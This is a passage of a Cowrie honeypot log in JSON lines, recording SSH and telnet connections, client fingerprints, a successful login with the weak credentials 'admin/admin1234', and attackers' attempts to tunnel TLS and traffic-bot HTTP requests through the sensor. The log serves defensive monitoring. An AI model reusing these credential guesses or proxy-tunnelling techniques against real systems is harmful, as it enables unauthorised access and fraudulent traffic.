\\xd2\\xaf\\x8d\\x19\\xb0H\\x8cWnt\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n\\x1a\\x1a\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02\\xfa\\xfa\\x00\\x01\\x00\\x00\\x15\\x00\\xcc\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","id":1,"message":"discarded direct-tcp forward request 1 to 104.21.5.61:443 with data b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03b\\xe6(}`\\xd7gz\\x9dc\\x19\\xa3\\xb4\\xdd\\x18.\\xbb\\x02\\xf1\\x9e\\x0c\\xffv\\xf2\\x0f\\xb3p\\x9e\\xd6aO\\x82 w2;\\x1c:\\xc6\\x8d\\xd6\\xb9\\xe9\\xa41\\xf9\\xb5\\xc4,B*!\\xc0\\xfePY\\xb6\\xde\\xc5\\x12!l\\x90\\xfcH\\x00 \\x9a\\x9a\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x01\\x00\\x01\\x93\\xea\\xea\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08JJ\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x12\\x00\\x10\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)JJ\\x00\\x01\\x00\\x00\\x1d\\x00 =eP\\xd3\\x1c\\xe3\\xd6\\xb8\\x0b\\xa6\\x05\\xb2\\xcf\\xd8\\x16\\xf4\\xb1L\\xa4\\xdb\\x15 \\xd2\\xaf\\x8d\\x19\\xb0H\\x8cWnt\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n\\x1a\\x1a\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02\\xfa\\xfa\\x00\\x01\\x00\\x00\\x15\\x00\\xcc\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:52:12.552866Z","src_ip":"23.175.50.51","session":"a122d340776c","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"104.21.5.61","dst_port":443,"src_ip":"23.175.50.51","src_port":0,"message":"direct-tcp connection request to 104.21.5.61:443 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:52:12.632849Z","session":"a122d340776c","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4","dst_ip":"104.21.5.61","dst_port":443,"ja4":"t12d1615h2_46e7e9700bed_cadd4ee51f0b","message":"JA4 fingerprint for forwarded TLS to 104.21.5.61:443: t12d1615h2_46e7e9700bed_cadd4ee51f0b","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:52:12.694012Z","src_ip":"23.175.50.51","session":"a122d340776c","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"104.21.5.61","dst_port":443,"data":"b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\xcd\\x86*bIx=\\xed/\\xbd\\xa27\\xefKd\\x9f\\xfda\\xf3z\\x81\\x894\\xcb\\x19g\\xab\\xfa\\xd4\\xd8(n \\x84x\\xdb>\\xb9\\xb1\\xe0d\\xe6\\xd7\\xc4;\\xf5T\\xec)]2\\xa0\\xf2\\xe3s\\n\\x9b9:\\xc5\\xa2Q\\xc8][\\x00\"\\xca\\xca\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x00\\n\\x01\\x00\\x01\\x91\\xca\\xca\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08\\xca\\xca\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x14\\x00\\x12\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x02\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)\\xca\\xca\\x00\\x01\\x00\\x00\\x1d\\x00 \\xda\\xdf\\x13,\\x82\\xa0g\\xbb\\x87\\xcd\\x81\\xad\\xf6\\xdb\\x1c\\xd7\\xc9\\xa0z\\xf6\\xf7\\xcc\\xf8\\xe2\\xeaJ\\x9eT\\xca\\xf0\\x0b\\x07\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\nzz\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02jj\\x00\\x01\\x00\\x00\\x15\\x00\\xc8\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","id":2,"message":"discarded direct-tcp forward request 2 to 104.21.5.61:443 with data b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\xcd\\x86*bIx=\\xed/\\xbd\\xa27\\xefKd\\x9f\\xfda\\xf3z\\x81\\x894\\xcb\\x19g\\xab\\xfa\\xd4\\xd8(n \\x84x\\xdb>\\xb9\\xb1\\xe0d\\xe6\\xd7\\xc4;\\xf5T\\xec)]2\\xa0\\xf2\\xe3s\\n\\x9b9:\\xc5\\xa2Q\\xc8][\\x00\"\\xca\\xca\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x00\\n\\x01\\x00\\x01\\x91\\xca\\xca\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08\\xca\\xca\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x14\\x00\\x12\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x02\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)\\xca\\xca\\x00\\x01\\x00\\x00\\x1d\\x00 \\xda\\xdf\\x13,\\x82\\xa0g\\xbb\\x87\\xcd\\x81\\xad\\xf6\\xdb\\x1c\\xd7\\xc9\\xa0z\\xf6\\xf7\\xcc\\xf8\\xe2\\xeaJ\\x9eT\\xca\\xf0\\x0b\\x07\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\nzz\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02jj\\x00\\x01\\x00\\x00\\x15\\x00\\xc8\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:52:12.696997Z","src_ip":"23.175.50.51","session":"a122d340776c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"128.199.8.54","src_port":41944,"dst_ip":"159.203.135.109","dst_port":23,"session":"3ccdf0ab2a9f","protocol":"telnet","message":"New connection: 128.199.8.54:41944 (159.203.135.109:23) [session: 3ccdf0ab2a9f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:52:14.673627Z"}
{"eventid":"cowrie.session.connect","src_ip":"113.164.152.20","src_port":53916,"dst_ip":"10.17.0.5","dst_port":22,"session":"63d7e9e93aae","protocol":"ssh","message":"New connection: 113.164.152.20:53916 (10.17.0.5:22) [session: 63d7e9e93aae]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:52:18.566091Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-PuTTY_Release_0.70","message":"Remote SSH version: SSH-2.0-PuTTY_Release_0.70","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:52:18.570633Z","src_ip":"113.164.152.20","session":"63d7e9e93aae","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0425c279610910d2d9aef3b285e59b86","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,rsa2048-sha256,rsa1024-sha1,diffie-hellman-group1-sha1;aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-ctr,aes192-cbc,aes128-ctr,aes128-cbc,chacha20-poly1305@openssh.com,blowfish-ctr,blowfish-cbc,3des-ctr,3des-cbc,arcfour256,arcfour128;hmac-sha2-256,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-sha2-256-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-etm@openssh.com;none,zlib","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","rsa2048-sha256","rsa1024-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-rsa","ssh-dss"],"encCS":["aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-ctr","aes192-cbc","aes128-ctr","aes128-cbc","chacha20-poly1305@openssh.com","blowfish-ctr","blowfish-cbc","3des-ctr","3des-cbc","arcfour256","arcfour128"],"macCS":["hmac-sha2-256","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-sha2-256-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha1-96-etm@openssh.com","hmac-md5-etm@openssh.com"],"compCS":["none","zlib"],"langCS":[""],"message":"SSH client hassh fingerprint: 0425c279610910d2d9aef3b285e59b86","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:52:18.871622Z","src_ip":"113.164.152.20","session":"63d7e9e93aae","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"159.65.2.87","dst_port":80,"src_ip":"63.141.242.2","src_port":0,"message":"direct-tcp connection request to 159.65.2.87:80 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:52:18.956451Z","session":"599354918664","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4h","dst_ip":"159.65.2.87","dst_port":80,"ja4h":"po11nn10enus_0af5a74ca4c0_000000000000_000000000000","message":"JA4H fingerprint for forwarded HTTP to 159.65.2.87:80: po11nn10enus_0af5a74ca4c0_000000000000_000000000000","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:52:18.994650Z","src_ip":"63.141.242.2","session":"599354918664","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"159.65.2.87","dst_port":80,"data":"b'POST /bot/statistic HTTP/1.1\\r\\nHost: api.9hits.com\\r\\nConnection: keep-alive\\r\\nContent-Length: 1188\\r\\nPragma: no-cache\\r\\nCache-Control: no-cache\\r\\nContent-Type: application/x-www-form-urlencoded\\r\\nAccept-Language: en-US\\r\\nUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.100 Safari/537.36 Edg/80.0.361.53\\r\\nOrigin: http://api.9hits.com\\r\\nAccept-Encoding: gzip, deflate\\r\\n\\r\\n_=bmFaUTF0Yk10fnN6S0MhNg%3D%3D2EeGe9t00ibYoSUEb%2FoUxRbtpfwvXtUF6%2Fxr4hUZKh2ZPl5Lvi90vflPLHX8YaxEnz%2BKaNfINbDBVeLOV8cW%2FwENtMStxgNX40T%2B8UTq3zog20tvKKHU80Vft%2F5GZa32cBnN6LuNjw6lF3SpBiFhrBVuS7Np6CWqqaNp1AdhVeZ0G%2B5kBVMxzHWczfWyPKVIreA%2B6B0kZzvhrFqZk4mgww13llmhqbaSKlMPC71P82UaTA7VQQU8m2NelbxpKtyUI16Wn72%2B5Cvps7Nc4XyRx2x9v02XW81gnp2ew3cdZBqLDNERUMcW8RCcHrwLrAuVmBEeCufu6xZxgjH6OCPMTEnpshMsvJTKKSasnu1h5j2%2FbMf6crD9cl6yPaSA6cGtjGV5hU6zydRvf1DXLavI0E9t7aGNMKOw4ZQg0oxk8JudCcg4OT7ePCLB5TWbG3XXy7dHpr9melNMjiFzA2n3SacFZ94aBKmTyPOJEPbaoWzcvlHaPLOrCsPU%2B1DX9HelqqZCXOP8mMOMOTkiEcG3UbwbgA%2FjOa1nWcC8O%2BXFgP9oMRqI9%2F7Aj5oz%2BrNsneSpYfMZkxSJQqtZ9Wuk5Ic3MN2MuWblof8QTJOA2BhlZRPNmhFnHWinxeKrOp9viYCGwCAxQtaTjloyt1vqjFE%2BfU55UYNrylgFmkBD0Zo7OkRtIFRot1fViBnJDbcVuvA5pU%2FP5F5npME0jm%2F%2Bj0jU04aR%2BeSZlTOoqlZ5SxVz6S%2BND7E4JoUeQ0zrXS2zUKZXhiRYDPKnRUzwCJZAhJwl2UwJVuVN93dPIqgOOg%2FWUPBT7PIAHxKkifhD1%2BpwvMZd4SNmj7mu2FpmDBIgKMVGBztLInlWufE4ncYoLg01l5L0et9QE0pneEHbHDYUt6Qhcy9D9Dy686Zw0xjJIJ7%2Fj%2BMZjmHBEyAQYX2q1Hkh%2BE7XtOJO77rddX%2B%2FhFK02mfDD4KOEp9t8pm00grX2SMrPu9fm%2BwMPi24bIOK2oKD9e%2F0Zj%2BFvyHSKeQ3FVnWH4jdYD9k6Jt8kUVQHGwdauBAZA%2FFaYFvVDDEI57%2BR91ZAw2sIOic%2FWEXsYyrcYegicv%2B'","id":0,"message":"discarded direct-tcp forward request 0 to 159.65.2.87:80 with data b'POST /bot/statistic HTTP/1.1\\r\\nHost: api.9hits.com\\r\\nConnection: keep-alive\\r\\nContent-Length: 1188\\r\\nPragma: no-cache\\r\\nCache-Control: no-cache\\r\\nContent-Type: application/x-www-form-urlencoded\\r\\nAccept-Language: en-US\\r\\nUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.100 Safari/537.36 Edg/80.0.361.53\\r\\nOrigin: http://api.9hits.com\\r\\nAccept-Encoding: gzip, deflate\\r\\n\\r\\n_=bmFaUTF0Yk10fnN6S0MhNg%3D%3D2EeGe9t00ibYoSUEb%2FoUxRbtpfwvXtUF6%2Fxr4hUZKh2ZPl5Lvi90vflPLHX8YaxEnz%2BKaNfINbDBVeLOV8cW%2FwENtMStxgNX40T%2B8UTq3zog20tvKKHU80Vft%2F5GZa32cBnN6LuNjw6lF3SpBiFhrBVuS7Np6CWqqaNp1AdhVeZ0G%2B5kBVMxzHWczfWyPKVIreA%2B6B0kZzvhrFqZk4mgww13llmhqbaSKlMPC71P82UaTA7VQQU8m2NelbxpKtyUI16Wn72%2B5Cvps7Nc4XyRx2x9v02XW81gnp2ew3cdZBqLDNERUMcW8RCcHrwLrAuVmBEeCufu6xZxgjH6OCPMTEnpshMsvJTKKSasnu1h5j2%2FbMf6crD9cl6yPaSA6cGtjGV5hU6zydRvf1DXLavI0E9t7aGNMKOw4ZQg0oxk8JudCcg4OT7ePCLB5TWbG3XXy7dHpr9melNMjiFzA2n3SacFZ94aBKmTyPOJEPbaoWzcvlHaPLOrCsPU%2B1DX9HelqqZCXOP8mMOMOTkiEcG3UbwbgA%2FjOa1nWcC8O%2BXFgP9oMRqI9%2F7Aj5oz%2BrNsneSpYfMZkxSJQqtZ9Wuk5Ic3MN2MuWblof8QTJOA2BhlZRPNmhFnHWinxeKrOp9viYCGwCAxQtaTjloyt1vqjFE%2BfU55UYNrylgFmkBD0Zo7OkRtIFRot1fViBnJDbcVuvA5pU%2FP5F5npME0jm%2F%2Bj0jU04aR%2BeSZlTOoqlZ5SxVz6S%2BND7E4JoUeQ0zrXS2zUKZXhiRYDPKnRUzwCJZAhJwl2UwJVuVN93dPIqgOOg%2FWUPBT7PIAHxKkifhD1%2BpwvMZd4SNmj7mu2FpmDBIgKMVGBztLInlWufE4ncYoLg01l5L0et9QE0pneEHbHDYUt6Qhcy9D9Dy686Zw0xjJIJ7%2Fj%2BMZjmHBEyAQYX2q1Hkh%2BE7XtOJO77rddX%2B%2FhFK02mfDD4KOEp9t8pm00grX2SMrPu9fm%2BwMPi24bIOK2oKD9e%2F0Zj%2BFvyHSKeQ3FVnWH4jdYD9k6Jt8kUVQHGwdauBAZA%2FFaYFvVDDEI57%2BR91ZAw2sIOic%2FWEXsYyrcYegicv%2B'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:52:18.997678Z","src_ip":"63.141.242.2","session":"599354918664","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin1234","message":"login attempt [admin/admin1234] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:52:20.188026Z","src_ip":"113.164.152.20","session":"63d7e9e93aae","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"159.65.2.87","dst_port":80,"src_ip":"113.164.152.20","src_port":0,"message":"direct-tcp connection request to 159.65.2.87:80 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:52:20.609270Z","session":"63d7e9e93aae","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"172.67.133.8","dst_port":443,"src_ip":"113.164.152.20","src_port":0,"message":"direct-tcp connection request to 172.67.133.8:443 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:52:20.752882Z","session":"63d7e9e93aae","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"182.93.50.90","src_port":36270,"dst_ip":"159.203.135.109","dst_port":22,"session":"7fc5ada7cb4f","protocol":"ssh","message":"New connection: 182.93.50.90:36270 (159.203.135.109:22) [session: 7fc5ada7cb4f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:52:21.178740Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:52:21.183064Z","src_ip":"182.93.50.90","session":"7fc5ada7cb4f","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4h","dst_ip":"159.65.2.87","dst_port":80,"ja4h":"po11nn10enus_0af5a74ca4c0_000000000000_000000000000","message":"JA4H fingerprint for forwarded HTTP to 159.65.2.87:80: po11nn10enus_0af5a74ca4c0_000000000000_000000000000","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:52:21.233930Z","src_ip":"113.164.152.20","session":"63d7e9e93aae","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"159.65.2.87","dst_port":80,"data":"b'POST /bot/statistic HTTP/1.1\\r\\nHost: api.9hits.com\\r\\nConnection: keep-alive\\r\\nContent-Length: 1172\\r\\nPragma: no-cache\\r\\nCache-Control: no-cache\\r\\nContent-Type: application/x-www-form-urlencoded\\r\\nAccept-Language: en-US\\r\\nUser-Agent: Mozilla/5.0 (Linux; Android 9; LM-X120) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.101 Mobile Safari/537.36\\r\\nOrigin: http://api.9hits.com\\r\\nAccept-Encoding: gzip, deflate\\r\\n\\r\\n_=V1NeKTltVSsjdEZkYXlrQA%3D%3Df0v2eBOUIGS7hAsrKHZuToAxvmpHNIMP%2F5jBsS1bMVzt%2Fe8Bj8pN8M%2Frlw6n4T6iUnWw9q%2B%2BnqoyEc8NVM4KH70sQ6tFB3onnNmxpQiAFLDugnITXq14zGsjEJGmpDXLcnX6dsAz%2BbLfa3RB1LB%2Fwr6PetgCz048Nbj5IGVkZ4OxhgaGTHznaloIKzAFjElJs9oR5UoQXkpdLVrBtBWGGeOLToPU1itPAsHo5P9TSzhFYPOsQI6m2enkx6NOTn9DTY4vcLhkrwMI%2B%2FlBWjHPGHnnd5MbKcMPRL9gHAHUG4X1yt97cOl5x8%2B5tv6mk6xxn82eEdQ7YtPHJya3pBfQDb9jTCWRhEQcsZJ%2FSgfvX4%2FOe82WV4OaG7gGr8TL1wXkP9ttWhDZ2EDTwMPs%2BePiSWztDejtyruVF6pEgZPq9L1wRiyMVzUPDnBz6smhR%2BonIhnt7kSSPYePnEgNkt%2BUneLNRgR4fkZKBIGlvQ%2BqyLxw1%2BhQB49qkorsE6573osQQ8NVKRat1qszr%2BtFwQX%2Bn01%2BeZhVrazPI1mr47Zfk3BgrIGiXcCNqAcI1wHLShhnJNjZDsmi2eWmnE4QfcvZdyxSud9CFns5X1enUpB%2F8XsdRDv42Y0SebrV40VQlm6rMhlXu3yoV0%2B7EtpbAygVvYJtBepp3Q2nW%2FmOoyS63QAMGStBXzO7m6vVOF5I6RRxhY%2Ba27df%2BR8x1wvQAOYBGM3dUxZX3ZEhqoYC5VqQs4k